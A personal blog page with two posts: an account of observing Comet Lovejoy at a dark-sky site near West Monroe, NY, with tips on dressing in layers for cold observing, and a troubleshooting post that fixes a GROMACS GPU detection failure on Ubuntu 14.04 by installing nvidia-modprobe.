As with all astronomical phenomena (excluding solar viewing, of course), the best views come from the darkest places. A third Lovejoy session was had up in West Monroe, NY on Wednesday, January 14th with fellow CNYO’er Ryan Goodson at New Moon Telescopes. Putting his 27” Dob to use, the green-tinted Lovejoy was almost bright enough to tan your retina. With dark skies and no observing line, we then attacked some subtler phenomena, including the Orion Nebula in Orion, the Eskimo Nebula in Gemini, and the Hubble Variable Nebula in Monoceros. The images below are our selfie with Lovejoy and the best of Winter, a snapshot near the zenith (with Jupiter prominent), and the Northern sky (click on the images for larger, unlabeled versions).


Caption: Ryan and I pose for 30 sec, our fingers completely missing the location of Lovejoy (red arrow). Click for a larger view.


Caption: Some of Winter’s finest from NMT HQ, including a prominent Jupiter just to the west of (and about to be devoured by) the constellation Leo. Click for a larger view.


Caption: A view of NMT’s opening to the North, including Cassiopeia at left (the sideways “W”), the Big Dipper in the middle, and Jupiter at the right. Click for a larger view.

A Clothing Thought…

As we can all attest to, the nighttime temperatures this month have oscillated between bitterly cold and painfully cold. The pic of my Element’s thermometer at my midnight departure from West Monroe read -12 F (and the tire inflation warning light stayed on until I hit 81 South), yet with the exception of the tips of my toes, I wasn’t very bothered by the cold.


2015jan22_nmt_layersIt’s one of the cold realities of amateur astronomy – you never realize how cold it can get outside until you’re standing perfectly still at a metal eyepiece. The solution is as old as the sediment-grown hills – layers! The top half of my outfit for the evening is shown below, featuring six (yes, six) layers from turtleneck to final coat. My bottom half featured three layers that decorum permits me from showing here. For those wondering how the blood still flows below the belt, the answer is simple – buy yourself an outer layer two or three sizes larger than you usually wear. In my case, my outer coat’s a bit baggy and my outer pants are a very tightly-meshed pair of construction pants with a 40” waist (from a trip to DeJulio’s Army & Navy Store on Burnet Ave. in Syracuse).

And don’t worry about color coordinating. The nighttime is the right time for the fashion unconscious.

GROMACS 5.0.x CUDA/GPU Detection Failure With Ubuntu 14.04 nVidia 331.113 Update – Fix With An apt-get

January 3rd, 2015

If not for the near-20x speedup I’ve achieved running GROMACS on an nVidia GTX 770 Classified over an Intel i7 Extreme 6-core, nVidia in Ubuntu would almost be more trouble than its worth. The initial installation of the nVidia drivers from the nVidia website works, then the first time Ubuntu auto-updates the drivers to the latest-and-greatest, you’re never entirely sure what the next boot is going to look like – usually a black screen at best. And, if you found this page while looking for a solution to the nVidia driver update black/blank screen, my solution (which has worked without issue to date) is to ditch lightdm and use the GNOME Display Manager (gdm) instead (this apparently appears to be a theme with Ubuntu 14.04 installs on SSD drives as well).

sudo apt-get install gdm

Now, with that settled, the latest update (331.113) broke my GROMACS GPU install (performed using the steps outlined at: GROMACS 5.0.1, nVidia CUDA Toolkit, And FFTW3 Under Ubuntu 14.04 LTS (64-bit); The Virtues Of VirtualBox). The error for my system looks as follows:

GROMACS:      gmx mdrun, VERSION 5.0.1
Executable:   /opt/gromacs_gpu/bin/gmx
Library dir:  /opt/gromacs_gpu/share/gromacs/top
Command line:
  gmx mdrun -v -deffnm RUN_solv_em -s RUN_ions.tpr -o RUN_em.trr -gpu_id 0

NOTE: Error occurred during GPU detection:
      unknown error
      Can not use GPU acceleration, will fall back to CPU kernels.

Reading file RUN_ions.tpr, VERSION 5.0.1 (single precision)
Using 1 MPI thread
Using 12 OpenMP threads 

That said, nvidia-smi sees all three cards in my system just fine.

| NVIDIA-SMI 331.113    Driver Version: 331.113        |                       
| GPU  Name        Persistence-M| Bus-Id        Disp.A | Volatile Uncorr. ECC |
| Fan  Temp  Perf  Pwr:Usage/Cap|         Memory-Usage | GPU-Util  Compute M. |
|   0  GeForce GTX 650     Off  | 0000:01:00.0     N/A |                  N/A |
| 21%   30C  N/A     N/A /  N/A |    183MiB /  1023MiB |     N/A      Default |
|   1  GeForce GTX 770     Off  | 0000:02:00.0     N/A |                  N/A |
| 35%   29C  N/A     N/A /  N/A |      9MiB /  4095MiB |     N/A      Default |
|   2  GeForce GTX 770     Off  | 0000:03:00.0     N/A |                  N/A |
| 35%   25C  N/A     N/A /  N/A |      9MiB /  4095MiB |     N/A      Default |
| Compute processes:                                               GPU Memory |
|  GPU       PID  Process name                                     Usage      |
|    0            Not Supported                                               |
|    1            Not Supported                                               |
|    2            Not Supported                                               |

Concerned that this might be some kind of issue with the drivers and my compiled version of 5.0.1, I compiled a copy of 5.0.4 using the same build parameters in cmake. The result? Same problem.

The simple solution (which may apply to all things OpenCL as well, but my concern was simply GROMACS) is to install nvidia-modprobe.

sudo apt-get install nvidia-modprobe

Whatever happened in the install, GROMACS now sees the GPU cards just fine.

GROMACS:      gmx mdrun, VERSION 5.0.4
Executable:   /opt/gromacs_gpu_504/bin/gmx
Library dir:  /opt/gromacs_gpu_504/share/gromacs/top
Command line:
  gmx mdrun -v -deffnm RUN_solv_em -s RUN_ions.tpr -o RUN_em.trr -gpu_id 0

Reading file RUN_md.tpr, VERSION 5.0.4 (single precision)

Using 1 MPI thread
Using 12 OpenMP threads 

3 GPUs detected:
  #0: NVIDIA GeForce GTX 770, compute cap.: 3.0, ECC:  no, stat: compatible
  #1: NVIDIA GeForce GTX 650, compute cap.: 3.0, ECC:  no, stat: compatible
  #2: NVIDIA GeForce GTX 770, compute cap.: 3.0, ECC:  no, stat: compatible

0 GPU user-selected for this run.
Mapping of GPU to the 1 PP rank in this node: #0


  • CNYO

  • Sol. Sys. Amb.

  • Ubuntu 4 Nano

  • NMT Review

  • N-Fact. Collab.

  • Pres. Asn. CNY

  • T R P Nanosys

  • Nano Gallery

  • nano gallery
  • Aerial Photos

    More @ flickr.com

    Syracuse Scenes

    More @ flickr.com